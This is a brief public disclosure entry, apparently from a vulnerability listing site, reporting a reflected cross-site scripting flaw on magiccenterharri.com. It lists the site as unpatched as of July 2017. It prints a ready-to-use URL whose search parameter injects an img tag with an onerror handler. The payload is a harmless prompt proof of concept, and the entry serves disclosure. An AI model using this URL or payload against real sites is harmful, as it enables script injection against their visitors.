magiccenterharri.com XSS vulnerability

Vulnerable URL: https://www.magiccenterharri.com/catalog/advancedsearchresult.php?keywords=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg%20src=y%20onerror=prompt/xssposed/%3Eindescription=0=1=3 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...